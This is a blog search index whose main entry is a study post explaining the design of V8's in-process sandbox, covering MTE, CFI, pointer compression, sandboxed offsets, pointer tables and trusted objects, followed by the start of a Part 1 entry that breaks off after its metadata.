[
  
    {
      "title"       : "Understanding V8 Sandbox (Part 2)",
      "category"    : "Sandbox",
      "tags"        : "V8, Sandbox",
      "url"         : "./understanding-v8-sandbox-part-2.html",
      "date"        : "2026-07-07 00:00:00 +0000",
      "description" : "Understanding V8 Sandbox (Part 2)",
      "content"     : "This post is based on the following document: High-Level Design Doc Summary Objective: build a low-overhead, in-process sandbox for V8. Motivation: V8 bugs typically allow for the construction of unusually powerful and reliable exploits. Furthermore, these bugs are unlikely to be mitigated by memory safe languages or upcoming hardware-assisted security features such as MTE or CFI. As a result, V8 is especially attractive for real-world attackers. Design: The proposal assumes that an attacker can arbitrarily corrupt memory on the V8 heap, where JavaScript objects are located. This primitive can be constructed from typical V8 vulnerabilities. To protect other memory within the same process from corruption, and by extension to prevent the execution of arbitrary code, the V8 heap is moved into a pre-reserved region of virtual address space: the sandbox. Then, all memory accesses performed by V8 must either be restricted to the sandbox address space (e.g. by using offsets instead of raw pointers to reference objects) or be validated in some way (e.g. by using a pointer table indirection).In particular, full 64-bit pointers must be banned entirely from the V8 heap. Before talking about MTE and CFI, let’s first understand what MTE and CFI actually are.Both are security mitigation techniques designed to make it harder for memory vulnerabilities to lead to actual code execution.MTEFirst, MTE (Memory Tagging Extension) is a hardware feature available on ARM-based CPUs. It is a memory tagging extension mechanism. MTE attaches tags both to pointers and to memory regions, and whenever a program reads from or writes to memory, the CPU checks whether the two tags match.For example, when an object is allocated on the heap, the memory region may receive tag A, and the pointer referencing that object will also receive tag A. Later, when the pointer is used to access memory, the CPU verifies whether the pointer tag and the memory tag are equal. If the tags do not match, the CPU treats it as an invalid memory access and raises an error.The types of bugs MTE mainly tries to detect are usually UAF, BOF, OOB, and similar memory safety issues.The tag itself is typically just a small integer value, and the allocator, runtime, or kernel usually selects it randomly or pseudo-randomly during memory allocation.In other words, the tag value itself is unrelated to the object type.ARM MTE tags are typically 4-bit values, meaning they range from 0 to 15.For example, suppose the following code executes:char* p = malloc(32);The allocator would then: Allocate the memory region. Set the tag of the memory granules to tag = 5. Record tag = 5 in the upper bits of the returned pointer.Later, when the memory is accessed, the CPU checks whether the tag values match, i.e., whether 5==5.Another important point is that although MTE stores tags per granule (16-byte units), if the allocated size is larger than 16 bytes, the allocator typically fills the entire allocation with the same tag value so that the tags remain consistent.On the other hand, if the allocation size is smaller, for example 8 bytes, the granule size is still 16 bytes. As a result, two separate 8-byte objects A and B may share the same tag. This is referred to as a sub-granule overflow issue.Tags are chosen randomly primarily to invalidate stale pointers.For example:p = malloc(...); // tag 5free(p);q = malloc(...); // same address reusedIn this case, q may be allocated at the same address previously used by p.If the new object reused tag 5 as well, then the old pointer p could still appear valid even though the allocator considers it freed. To prevent this, allocators typically assign a different tag during reallocation.However, because the number of possible tag values is small, tag collisions can still occur by chance. For this reason, MTE is often considered a probabilistic mitigation technique.For memory tags, MTE stores tags both inside the pointer itself and inside memory-side metadata.For pointer tags:ARM64 does not use the full 64-bit address space, so the upper bits can be utilized like this:| tag | virtual address |Memory tags, on the other hand, are stored in hidden metadata associated with memory.There are also situations where MTE is not sufficient. Case 1 is simple: if an OOB access occurs but the out-of-bounds region happens to have the same tag value, the access will still succeed because the tags match. Case 2 is the sub-granule overflow issue mentioned earlier.Since MTE assigns tags in 16-byte granules, anything occurring within the same granule shares the same tag. As a result, overflows occurring inside a single granule cannot be detected.CFICFI stands for Control Flow Integrity. It is a technique designed to protect the integrity of a program’s control flow.Programs execute according to control flow operations such as function calls, returns, branches, and virtual function calls. CFI is designed to prevent attackers from abusing memory corruption to redirect execution flow to unintended locations.Before explaining further, let’s first look at fp();.Suppose we have:void (*fp)();Then doing:fp = hello;is equivalent to:fp = &amp;hello;In other words, the address of the hello function is stored inside fp.Therefore, when fp is called, the hello function executes.Now let’s consider how attacks normally happen.Suppose the following code exists:class Animal {public: virtual void speak() { printf(\"animal\\n\"); }};void run(Animal* a) { a-&gt;speak();}Internally, a virtual call follows a flow similar to:vtable -&gt; read function address -&gt; jumpIf a vulnerability such as UAF exists, an attacker may corrupt the vtable pointer itself and redirect execution to an arbitrary address.When CFI is applied, the compiler transforms:a-&gt;speak();into something conceptually similar to:if (target in allowed_targets) jump(target);else crash();In other words, the indirect jump is checked to determine whether the destination is legitimate.When applying CFI, the compiler generates metadata at compile time such as:allowed_set = {hello, bye}and performs checks like:if (fp not in allowed_set) abort();CFI generally comes in two forms.First is Forward-edge CFI.This protects: virtual calls function pointers indirect jumpsand similar control flow transfers.For example:func_ptr();obj-&gt;virtual_method();are restricted so they can only call functions within an allowed set.Next is Backward-edge CFI, which protects control flow returning backward.Examples include: function returns return addresses stored on the stackOne common mechanism is the shadow stack.When a function is called, the return address is stored both on the normal stack and on a separate protected stack called the shadow stack.Then, when the function returns, the system compares the return address on the normal stack with the value stored in the shadow stack to ensure they match.Although this explanation took a bit of a detour, the reason why MTE and CFI are considered insufficient for mitigating V8 vulnerabilities is the following:MTE is strong at detecting invalid memory accesses, but as discussed earlier, it can still miss type confusion and data manipulation occurring within seemingly valid objects whose tags match.CFI is strong at preventing control flow hijacking, but attackers do not always need to jump to invalid addresses. For example, attackers may perform data-only attacks by invoking legitimate functions within valid control flow while manipulating only data. Similarly, manipulation of JIT internal states is difficult to stop using CFI alone.Additionally, because JIT engines generate code dynamically at runtime, defining what constitutes “legitimate control flow” is significantly harder than in ordinary static programs.The sandbox design itself assumes that the V8 heap has already been compromised. Therefore, it reserves a large virtual memory region and places all JavaScript objects inside it so that memory outside the sandbox cannot be accessed.Furthermore, if pointers inside the sandbox were stored as full 64-bit pointers, attackers could overwrite them with arbitrary addresses outside the sandbox. Instead, the sandbox represents addresses using offsets:offset = 0x1234real_address = sandbox_base + offsetBy representing addresses as offsets, no matter what value an attacker writes, it becomes impossible to construct an address outside the sandbox range because the offset itself has a size limitation.There are still cases where pointers to objects outside the sandbox must be used. However, instead of storing raw pointers directly, the system uses a structure like:heap object ↓index ↓pointer table ↓real pointerThis ensures that raw pointers do not exist directly inside the heap.Finally, the reason raw pointers must not exist is, as discussed repeatedly above, because attackers could manipulate them to point to addresses outside the sandbox, ultimately enabling sandbox escape.ObjectiveBuild an in-process sandbox for V8 to prevent an attacker who successfully exploited a V8 vulnerability, and thus is able to corrupt objects inside the V8 heap, from corrupting other memory in the process and thus from executing arbitrary code. In essence, this will turn arbitrary writes originating from V8 vulnerabilities into bounded writes. Preventing reads (direct or speculative) outside of the V8 heap is not a goal, however. The performance overhead should be minimal, with a rough target of around 1% overall on real-world workloads. This sandbox should eventually become a supported security boundary. Although this follows the same reasoning discussed earlier, the V8 Sandbox considers AAW (Arbitrary Address Write) significantly more critical than AAR (Arbitrary Address Read). While information disclosure alone can still enable attackers to perform actions such as address leaks, ASLR bypasses, and object layout discovery, it does not immediately lead to control flow hijacking. Once arbitrary write becomes possible, however, attackers may corrupt memory outside the sandbox and eventually achieve arbitrary code execution. For example, with only AAR, attackers may leak addresses or inspect memory layouts, but they generally cannot perform attacks such as RIP overwrite, vtable overwrite, JIT code corruption, or function pointer overwrite. Therefore, the primary goal of the sandbox is to prevent writes to memory outside the sandbox, effectively transforming arbitrary writes into bounded writes. MotivationMany V8 vulnerabilities exploited by real-world attackers are effectively 2nd order vulnerabilities: the root-cause is often a logic issue in one of the JIT compilers, which can then be exploited to generate vulnerable machine code (e.g. code that is missing a runtime safety check). The generated code can then in turn be exploited to cause memory corruption at runtime. This appears to be a somewhat natural problem of JIT compilers for dynamic languages, as one of their major purposes is to remove (redundant) runtime checks that would otherwise be performed by the interpreter. As an example, consider the case of a JIT compiler incorrect side effect modeling vulnerability: here, the compiler will model the side effects of an operation incorrectly and can then be tricked into emitting machine code that is lacking a runtime type check after such an operation (because the compiler believes that the object could not have changed its type during the operation).As such, the emitted machine code is now vulnerable to a type confusion, and the attacker can exploit that to cause (fairly arbitrary) memory corruption at runtime.These types of issues are uniquely attractive for attackers for a number of reasons: The attacker has a great amount of control over the memory corruption primitive and can often turn these bugs into highly reliable and fast exploits. Memory safe languages will not protect from these issues as they are fundamentally logic bugs. Due to CPU side-channels and the potency of V8 vulnerabilities, upcoming hardware security features such as memory tagging will likely be bypassable most of the time. Due to the nature of these vulnerabilities, and their uniqueness to JavaScript engines, it seems desirable to build a custom sandboxing mechanism for V8.Originally, I thought that during JIT compilation, runtime checks or guards were simply used temporarily or tested during execution. But now I understand that the generated machine code itself actually contains those runtime check instructions.In other words, a JIT compiler generates machine code that already includes safety checks. However, because the JIT itself is expensive and performance-sensitive, if there is a part where it assumes something like:“This condition will probably always be true.”then it may optimize the code by removing some checks.Usually, the generated machine code follows a pattern like:fast path + runtime guardSo if a bug exists in the JIT compiler, it may fail to generate checks that were originally supposed to be there.“Incorrect side effect modeling” refers to how the compiler reasons about and models what kinds of state changes (side effects) can occur when a particular operation executes.For example, it concerns questions like:“How can operation A modify memory, objects, or type state?”To think about it more intuitively, in order to optimize code, a JIT compiler may assume that when accessing:obj.xthe object obj will continue to have the same type.However, in the middle of execution, a function call such as:foo(obj)might actually trigger object structure changes, map transitions, prototype modifications, type changes, and so on. These are considered side effects.If the compiler models foo(obj) as something that does not change the type of obj, but in reality the type does change, then that becomes incorrect side effect modeling.As a result, the JIT may conclude that additional type checks are unnecessary and eliminate them, because it assumes the type of obj cannot change.Ultimately, this can lead to a wrong-type object being accessed in an invalid way, which is essentially how type confusion occurs.A side channel refers to a path that was not intended as the official data flow.For example, in a normal program, the intended channel may only reveal whether a password is correct or not. But if an attacker can infer the password by observing execution time, cache states, power consumption, branch predictor state, and so on, then that becomes a side-channel attack.Attack modelThis proposal assumes that an attacker is capable of repeatedly performing arbitrary reads and writes inside the V8 heap as well as potentially performing reads outside of the V8 heap, for example due to speculative side-channel attacks.This reflects common initial exploitation primitives gained from many V8 vulnerabilities, such as vulnerabilities in the JIT compilers, the runtime, or the garbage collector.The ability to corrupt memory outside of the V8 heap is then considered to be an escape from this sandbox. This definition also covers arbitrary code execution.The key point discussed here is the threat model of Ubercage (V8 Sandbox).The sandbox assumes that an attacker is already capable of performing arbitrary read/write operations within the V8 heap. However, once the attacker is able to corrupt memory outside of the heap, it is considered a sandbox escape.This definition also includes arbitrary code execution.DesignSince early 2020, V8 has implemented pointer compression in its heaps. With pointer compression, every reference from an object in the V8 heap to another object in the V8 heap (“on-heap”) becomes a 32 bit offset from the base of the heap, leaving only a few objects with raw pointers to objects outside the v8 heap (“off-heap”). Compressed pointers are then only valid inside a 4GB virtual memory region, referred to as the pointer compression cage. Pointer compression can be visualized with an instance of an ArrayBuffer in memory. The following shows the in-memory layout of a hypothetical ArrayBuffer object without pointer compression:The difference between an on-heap pointer and an off-heap pointer depends on whether the target being referenced resides inside the V8 heap or outside of it.In the case of a 64-bit on-heap pointer, it points to an object located inside the GC-managed heap controlled by V8.On the other hand, a 64-bit off-heap pointer points to native memory located outside the V8 heap.With pointer compression enabled, the same ArrayBuffer object would be stored as shown next:Here, all on-heap pointers were converted to 32-bit compressed pointers. In this example, the heap base would be 0x250700000000 and so for example the compressed Map pointer (0x08281181) would be interpreted as the absolute pointer 0x250708281181.The majority of V8 vulnerabilities can be exploited to corrupt memory (only) in the V8 heap (out-of-bounds accesses, type confusions, et al). With pointer compression enabled, an attacker with the ability to corrupt data in the V8 heap gains no additional capabilities by corrupting a compressed pointer. Instead, to reach outside the V8 heap, the attacker targets one of the remaining raw pointers in the heap (typically an ArrayBuffer or TypedArray backing store pointer). The fundamental idea behind this project is to protect (“sandboxify”) all remaining raw pointers in a way that prevents their abuse by an attacker. On a high level, this is achieved in the following way: A large (for example 1TB) region of virtual address space - the sandbox - is reserved during initialization of V8. This region contains the pointer compression cage, and so all V8 heaps, as well as ArrayBuffer backing stores and similar objects. All objects inside the sandbox, but outside of V8 heaps, are addressed using fixed-size offsets (e.g. 40-bit offsets in the case of a 1TB sandbox) instead of raw pointers. All remaining off-heap objects must be referenced through a pointer table, which contains the pointer to the object together with type information to prevent type confusion attacks. Entries in this table are then referenced from objects in the v8 heap through indices.Compared to the past, the memory layout used to look like this:[V8 Heap] JSObject Array Map ...[Outside Heap] ArrayBuffer backing store Wasm memory native objects C++ structuresOnly the V8 heap was GC-managed, while the native memory regions actually useful for exploitation existed outside the heap. As a result, attackers could use type confusion bugs to corrupt backing store pointers and ultimately achieve arbitrary native memory access.However, the architecture has now changed into something more like this:[Huge Sandbox Region] ├── V8 heap ├── pointer compression cage ├── ArrayBuffer backing stores ├── Wasm memory ├── various sandboxed native allocations └── other engine-managed memoryMost memory regions directly managed by the JS engine are now placed inside one huge sandboxed virtual address range.Things such as: ArrayBuffer backing stores Wasm memory external string datastill exist outside the GC heap, but they are now located inside the sandbox, meaning they are only accessible via sandbox-relative offsets.Because of this, in modern V8, even if an attacker achieves: heap object corruption backing store corruption typed array corruptionthe accessible range is fundamentally restricted to memory inside the sandbox.Unlike before, a JS bug no longer directly leads to arbitrary process memory R/W. Instead, attackers typically need to proceed in stages: Obtain arbitrary R/W inside the sandbox. Gain an additional sandbox escape primitive. Achieve process-wide native memory access.With this, the ArrayBuffer object from above would become:ArrayBufferExtension is an auxiliary native-side (C++) structure internally associated with the ArrayBuffer object in V8. More precisely, it is not a JS heap object itself, but rather metadata used to manage external (native) state related to an ArrayBuffer.The older design looked roughly like this:JSArrayBuffer (heap object) ├── backing_store pointer ---&gt; raw native memory ├── byte_length ├── flags └── extension pointer ----&gt; ArrayBufferExtension (native) ├── accounting info ├── GC interaction state ├── embedder fields ├── linked list nodes └── allocator metadataThe primary purposes of ArrayBufferExtension include: backing store lifetime management connecting GC with external memory accounting embedder/native-side bookkeeping ArrayBuffer tracking detach state management cleanup callback managementIn particular, because the ArrayBuffer backing store resides outside the GC heap (in native memory), the V8 garbage collector could not directly manage it through ordinary mark-and-sweep mechanisms alone.As a result, V8 used extension structures like this to track: how much external memory is currently being used when the memory should be freed which isolate the memory belongs toPreviously, this structure existed as a native object outside the V8 heap, which also made it a potential exploitation target. However, with the introduction of the V8 sandbox, it is now located inside the sandbox region, adding an additional step for attackers.Here, the raw, off-heap backing storage pointer (purple) has been replaced with a 40-bit offset from the base of the sandbox (the offset is 0x45c00, shifted to the left by 24 to guarantee that the top bits are zero). On the other hand, the raw pointer to the ArrayBufferExtension object (orange) has been replaced with a 32-bit index into a pointer table. In this example, the size (magenta) remains unchanged, but would be verified on access to be smaller than the maximum allowed size of an ArrayBuffer. Alternatively, it could also be stored shifted to the left as well.Attackers are now assumed to be able to corrupt memory inside the sandbox arbitrarily and from multiple threads, and will now require an additional vulnerability to corrupt memory outside of it, and thus to execute arbitrary code. However, the attack surface of the sandbox will likely be significantly less complex than V8 itself due to the relatively low complexity of the embedder &lt;-&gt; V8 interface, and bugs in the sandbox appear to mostly be “classic” memory corruption bugs as opposed to bugs in V8. For these reasons, the sandbox is assumed to be an easier-to-defend security boundary than the V8 VM.Finally, it is worth noting that, although not an explicit goal, this design also prevents an attacker from directly (but not speculatively) reading, not just writing, data outside of the sandbox.The remainder of this section discusses the central sandboxing mechanisms in some more detail, then concludes with a brief summary of the design.Sandbox Address SpaceThe sandbox currently assumes a shared pointer compression cage which is shared between all V8 Isolates and thus Heaps in the process. This 4GB region is then placed at the start of a much larger (e.g. 1TB) virtual address space reservation - the sandbox - which is surrounded by large guard regions on both sides to prevent indexed accesses to reach outside of the sandbox. The remaining space in the sandbox is used to allocate other objects directly referenced by V8, such as ArrayBuffer backing stores and the 10GB Wasm memory cages.The address space reservation backing the sandbox is discussed in more detail in this document.The structure looks like this:[ Guard Region ] ↓[ V8 Sandbox: for example, 1TB ] ├── [ 4GB Pointer Compression Cage ] │ └── Area where JS objects are mainly stored │ ├── [ ArrayBuffer Backing Stores ] │ └── Actual data storage for ArrayBuffers │ ├── [ Wasm Memory Cages ] │ └── WebAssembly memory area │ └── Other memory directly referenced by V8 ↓[ Guard Region ]Structurally, this means that the 4GB pointer compression cage is not the entire sandbox. Instead, the 4GB cage is placed inside a much larger sandbox. For example, the entire sandbox may be 1TB in size, and the 4GB cage is placed at the beginning of it.1TB Sandbox┌──────────────────────────────────────────────┐│ 4GB pointer compression cage │├──────────────────────────────────────────────┤│ ArrayBuffer backing store │├──────────────────────────────────────────────┤│ Wasm memory cage │├──────────────────────────────────────────────┤│ Other sandboxed V8 memory │└──────────────────────────────────────────────┘The reason for doing this is to limit memory accesses to within the sandbox, even if a V8 vulnerability corrupts an object’s length or index and causes an out-of-bounds read/write.Sandboxed PointersAll objects located inside the sandbox can be referenced from objects in the V8 heaps through a 40-bit (in the case of a 1TB sandbox) offset from the base of the sandbox. These are called “SandboxedPointers”. Using an offset instead of a raw pointer prevents an attacker from addressing memory outside of the sandbox.SandboxedPointers are especially performant as the base address of the sandbox is usually already available in a register. The offsets can then be stored shifted to the left, in which case loading a sandboxed pointer only requires shifting the loaded value to the right and adding it to the base register. This is possible with two additional instructions on x64 (shift + add) and a single additional instruction on arm64 (the add instruction can also perform the shifting).An attacker able to corrupt data inside a V8 heap can then corrupt the offsets (and sizes) of ArrayBuffer objects, and so it must be assumed that an attacker can corrupt any data inside the sandbox. However, a SandboxedPointer guarantees that it will always point into the sandbox.Sandboxed pointers are discussed in more detail in this document.What are the similarities and differences between the sandbox and the pointer-compression cage?First, the similarity is that both access memory by using an offset within a memory region.Pointer Compression Cage: real_ptr = cage_base + 32-bit offsetV8 Sandbox: real_ptr = sandbox_base + 40-bit offsetThe difference is that they serve different purposes. The pointer-compression cage is intended to reduce 64-bit pointers to 32-bit values in order to save memory. The sandbox, on the other hand, is intended to prevent an attacker from escaping outside the sandbox even if they manage to manipulate pointer values.Another difference is how values are stored and retrieved. I also included Smi because it came to mind.Smi: When storing: value &lt;&lt; 1 When loading: stored &gt;&gt; 1 Purpose: to use the lower bit as a tagSandboxedPointer: When storing: offset &lt;&lt; 24 When loading: stored &gt;&gt; 24 Purpose: to keep only the 40-bit sandbox offset from a 64-bit valuePointer Compression: When storing: store the 32-bit offset within the 4GB cage When loading: cage_base + offset Purpose: to reduce 64-bit pointers to 32-bit valuesPointer TablesAll objects located outside the sandbox (“external entities”) are referenced through pointer tables, which are themselves also located outside of the sandbox. This is conceptually similar to the file descriptor table used by an operating system’s kernel or a Wasm table.In general, the sandbox differentiates between three different types of external entities: Executable code, which is managed by V8’s garbage collector but allocated in a dedicated code space, located outside of the sandbox. These are referenced via a CodePointerTable (CPT), discussed in more detail in this document. V8 objects managed by V8’s garbage collector but located outside of the sandbox for security reasons. See the Trusted Objects section below and this document for more details. These are referenced via a TrustedPointerTable (TPT). Non-V8 objects that are not directly managed by V8’s garbage collector. These include all embedder-managed objects such as DOM nodes as well as the ArrayBufferExtension object from the example above and many other types of objects. These are referenced via an ExternalPointerTable (EPT), which is discussed in more detail in this document.This section now briefly discusses how those objects are protected, in particular how memory safety is achieved. For a more detailed discussion of these mechanisms, refer to the design documents linked above.I think understanding this properly requires a deeper understanding of each pointer table, so I will not go into too much detail for now. It would probably be better to write about this in more detail later, when I study these concepts more thoroughly.The main point seems to be that objects inside the sandbox do not directly store addresses outside the sandbox. Instead, they store references through tables.For example, suppose an object directly stored the actual address of an object outside the sandbox like this:object-&gt;external_ptr = 0x7ffff1234567;If this were the case, an attacker could manipulate this value and make it point to an arbitrary address outside the sandbox. That would effectively break the purpose of the sandbox.Because of this, objects inside the sandbox do not directly store external addresses. Instead, they store a table index or handle.object-&gt;external_ptr_handle = 0x1234;The object uses the handle like this, while the actual address is stored in a pointer table located outside the sandbox.ExternalPointerTable[0x1234] = 0x7ffff1234567;So the actual access happens roughly like this:handle = object-&gt;external_ptr_handle;real_ptr = ExternalPointerTable[handle];This can be thought of as being similar to a file descriptor.fd = 3;A program only knows the number 3, which acts like a handle. The actual file object is managed by the file descriptor table inside the kernel. In other words, the program does not directly hold a kernel pointer.The pointer tables in the V8 sandbox work in a similar way.Objects inside the sandbox do not contain actual external pointers.Instead, they contain table indexes or handles.The actual pointers are stored in pointer tables outside the sandbox.I will not go into too much detail here, but roughly speaking, each table has the following role:CodePointerTable, CPT→ Manages executable code addresses→ Used for things like JIT code and builtin codeTrustedPointerTable, TPT→ Manages trusted V8 objects that are handled by V8 but need to live outside the sandbox→ Used for Trusted ObjectsExternalPointerTable, EPT→ Manages external objects that are not directly managed by V8’s garbage collector→ Used for things like DOM nodes, embedder objects, ArrayBufferExtension, and so onThe goal is to make it difficult for an attacker to directly overwrite external raw pointers, even if they can corrupt some memory inside the sandbox. Even if an attacker can overwrite an external pointer field inside a sandbox object, that value is not an actual address. It is only a handle.object-&gt;external_ptr_handle = attacker_value;At this point, V8 usually uses mechanisms such as handle validation, tag checks, and table entry type checks to prevent an invalid handle from being interpreted as an arbitrary external address.One limitation here is that if an attacker can overwrite the handle, they may still be able to use an existing function or change the handle value to refer to another function already present in the table.Of course, this is still much better than storing a raw pointer directly. If it were a raw pointer, the attacker could point it wherever they wanted.Temporal Memory SafetyEntries in a pointer table are managed by the garbage collector. If an entry is no longer referenced from any object in the V8 heap, the entry is cleared and the pointed-to object is released if it is managed by V8 (unless there are other references to it from elsewhere). Any subsequent access to the entry will then either see an invalid pointer if the entry is still free, or see a valid pointer to a live object if it was reused. In the latter scenario, the access is safe by design if the new object is of the same type as the previous one, otherwise, the access would fail due to the type safety mechanism described below.Here, it is useful to think of an entry as the slot that a handle refers to. More specifically, an entry means one slot in the pointer table.The structure looks like this:V8 Heap Object┌────────────────────────────┐│ external_ptr_handle = 3 │└────────────────────────────┘ │ ▼Pointer Table┌─────────┬──────────────────────────┐│ Entry 0 │ pointer A ││ Entry 1 │ pointer B ││ Entry 2 │ free ││ Entry 3 │ actual external pointer │ ← entry│ Entry 4 │ pointer C │└─────────┴──────────────────────────┘An entry usually contains information such as:entry = { actual pointer value, type information or tag, mark/free state, other metadata}This part can be summarized as follows:1. A V8 object references a pointer table entry.2. During garbage collection, the GC checks whether any V8 heap object still references this entry.3. If no V8 heap object references it anymore, the entry is cleared or marked as free.4. If the external object pointed to by the entry is also managed by V8, that object may be released as well.5. After that, if the old handle is used again: - if the entry is still free, it will result in an invalid pointer; - if the entry has been reused, it may point to another live object.6. However, if the new object has a different type, the access will be blocked by the type checking mechanism.Spatial Memory SafetySome objects such as ExternalStrings reference a buffer of data of a given length. This sandbox must ensure that any access to those external buffers stays in bounds of the allocated memory. This is generally possible in two ways: (1) by storing length information in the table or the external object itself and bounds-checking against that or (2) by moving those buffers into the sandbox.This section explains that the V8 sandbox must not only protect pointer values, but also validate lengths when accessing external buffers.For example, an ExternalString may not store the string data itself inside the V8 heap. Instead, it may point to an external memory buffer outside the sandbox.ExternalString object┌──────────────────────────────┐│ external_buffer_handle │ ──┐│ length = 100 │ │└──────────────────────────────┘ │ ▼External Buffer┌──────────────────────────────────────┐│ 100 bytes of string data │└──────────────────────────────────────┘The problem here is that if an attacker can corrupt the length value or pointer-related metadata through some bug, they may be able to read or write beyond the actual buffer.Therefore, the sandbox cannot stop at simply avoiding direct storage of external pointers and using handles or tables instead. It must also guarantee that whenever an external buffer is accessed, the access range stays within the actual allocated size.The first approach is to store the length information in a safe place and check it every time the buffer is accessed.entry = { pointer: actual external buffer address, length: 100, tag: ExternalString}When using it, it would be checked like this:if (index &lt; entry.length) { read(entry.pointer + index);}In other words, the length is stored together with the pointer table entry or the external object, and a bounds check is performed before accessing the buffer.The second approach is to move the buffer itself into the sandbox.Before:[V8 Sandbox] ──handle──&gt; [External Buffer outside sandbox]After:[V8 Sandbox]┌──────────────────────────────┐│ ExternalString object ││ string buffer data │└──────────────────────────────┘With this design, even if an attacker manages to create an incorrect buffer access range, the accessible memory is at least limited to the inside of the sandbox. This reduces the risk of reading from or writing to arbitrary memory outside the sandbox.Type SafetyTo ensure type safety of external objects, the table entries consist of pairs of pointers and type tags (with the type tags potentially stored in unused pointer bits for efficiency). Before an external object is accessed, the type tag of the entry must be checked against the caller-supplied expected type, either with an explicit check or by ensuring that wrong types will result in an inaccessible address.In simple terms, if an entry in the external pointer table only stores an address, an attacker may be able to abuse it, as mentioned earlier. Therefore, the table also stores what kind of external object the address points to, making it slightly safer to use.Example:External Pointer TableEntry 0: pointer = 0x7fff_aaaa_bbbb type_tag = ExternalStringEntry 1: pointer = 0x7fff_cccc_dddd type_tag = ArrayBufferBackingStoreEntry 2: pointer = 0x7fff_eeee_ffff type_tag = WasmTrustedInstanceDataThread SafetyThe sandbox has to prevent concurrent access to external objects that aren’t thread safe. Ideally, this will be achieved by having a dedicated pointer table per Isolate and thus per mutator thread and ensuring that a non-thread-safe external object is only referenced from at most one table.This section explains that external objects may become dangerous if they are accessed concurrently by multiple threads, so the pointer table structure is used to restrict the scope of access.In V8, some objects can point to resources outside the sandbox. Examples include the external buffer of an ExternalString, an ArrayBuffer backing store, and WebAssembly-related external data. However, these external objects are not always safe to access concurrently.For example, if an external object internally modifies its state without using locks, the following situation may occur:Thread A: modifies external_object-&gt;stateThread B: modifies external_object-&gt;state at the same timeIn this case, a race condition can occur.Therefore, the ideal design looks like this:Isolate A / Mutator Thread A┌─────────────────────────────┐│ External Pointer Table A ││ Entry 0 -&gt; External Object X│└─────────────────────────────┘Isolate B / Mutator Thread B┌─────────────────────────────┐│ External Pointer Table B ││ Entry 0 -&gt; External Object Y│└─────────────────────────────┘On the other hand, the following structure is dangerous: ┌── Pointer Table A / Thread AExternal Object X └── Pointer Table B / Thread BThe contents can be summarized as follows:1. Objects inside the V8 sandbox do not directly store pointers to external objects. Instead, they reference them through pointer table entries.2. Some external objects are not thread-safe.3. If such objects are referenced simultaneously from the pointer tables of multiple Isolates or multiple threads, a race condition may occur.4. Therefore, each Isolate should have its own separate pointer table.5. Non-thread-safe external objects should be referenced from at most one pointer table.If the same value is needed by two Isolates, then two separate copies of that value can be created.Isolate A / Pointer Table A Entry 1 -&gt; External Object X_copy_for_AIsolate B / Pointer Table B Entry 5 -&gt; External Object X_copy_for_BAlternatively, if the object was originally not thread-safe but must be shared across multiple Isolates, it can be made safe by adding mechanisms such as locks, atomic operations, reference counting, and proper lifetime management.Isolate A / Pointer Table A ─┐ ├── Thread-safe External Object XIsolate B / Pointer Table B ─┘In this case, the same object can be referenced from multiple pointer tables.The last approach is to let only one thread own the object, while the other threads do not access it directly. For example, Thread A may own the external object, and Thread B may send messages to Thread A to request operations on that object.Thread A owns External Object XThread B does not access X directly only sends messages/requestsTrusted ObjectsThere are a number of internal V8 objects that do not contain pointers, but which could still allow an attacker to break out of the sandbox. One example are code-like objects, such as interpreter bytecode, JIT-compiled machine code, and any related metadata. These are not generally robust against corruption and will thus allow an attacker to escape from the sandbox. Other examples could include heap allocator metadata or V8 objects that contain indices into off-heap data structures.In general, for the sandbox to become robust, these objects either need to move out of the V8 heap into a “trusted” heap space, become robust against corruption, be treated as untrusted (and have some way of checking their integrity on access), or be marked as read-only.A generic mechanism for moving such objects out of the sandbox and referencing them via a pointer table is discussed in this document.The basic goal of the V8 sandbox is to prevent an attacker from directly pointing to memory outside the sandbox, even if they can corrupt objects inside the V8 heap. For this reason, external pointers are not stored directly. Instead, they are managed through mechanisms such as the External Pointer Table.However, trusted objects are a different problem. Some objects may not contain external pointers directly, but if those objects are corrupted, they can still affect the execution flow or the internal state of V8.Examples include:Interpreter bytecodeJIT-compiled machine codeCode metadataHeap allocator metadataOff-heap structure indexThese objects are not just simple data. They affect how V8 executes code or how its internal structures work.For example, if interpreter bytecode is corrupted, V8 may execute instructions that were not originally intended. If JIT code or its related metadata is corrupted, it may lead to the execution of incorrect machine code. If heap allocator metadata is corrupted, the layout of objects or memory management itself can become inconsistent.In other words, if an attacker can corrupt these kinds of objects, the result could be:Without directly manipulating pointers→ Manipulation of V8’s internal execution state→ Manipulation of code execution flow→ Possible sandbox escapeThis is why the document describes four possible ways to protect these objects:1. Move them out of the V8 heap into a trusted heap2. Make them robust against corruption3. Treat them as untrusted objects and check their integrity on access4. Mark them as read-only so they cannot be modifiedThe best approach is to move them into a trusted heap. The general V8 heap should be assumed to be corruptible by an attacker through a vulnerability. Therefore, keeping important objects inside that heap is dangerous.So the idea is to change the structure as follows:Existing structureInside the V8 Heap┌──────────────────────────────┐│ JSObject ││ BytecodeArray │ ← Dangerous if corrupted│ Code metadata │ ← Dangerous if corrupted│ Allocator metadata │ ← Dangerous if corrupted└──────────────────────────────┘Improved structureV8 Sandbox / Normal Heap┌──────────────────────────────┐│ JSObject ││ trusted_object_handle │└──────────────────────────────┘ │ ▼Trusted Pointer Table┌─────────┬────────────────────┐│ Entry 0 │ TrustedObject A ││ Entry 1 │ Bytecode metadata ││ Entry 2 │ Code-like object │└─────────┴────────────────────┘ │ ▼Trusted Heap / Outside the Sandbox or Protected Region┌──────────────────────────────┐│ Actual important internal objects │└──────────────────────────────┘Next time, I think I should study the fundamentals more thoroughly until I can understand the basic concepts accurately. That way, I can build a stronger foundation and understand the later material more quickly."
    } ,
  
    {
      "title"       : "Understanding V8 Sandbox (Part 1)",
      "category"    : "Sandbox",
      "tags"        : "V8, Sandbox",
      "url"         : "./understanding-v8-sandbox-part-1.html",
      "date"        : "2026-05-05 00:00:00 +0000",
      "description" : "Understanding V8 Sandbox (Part 1)",
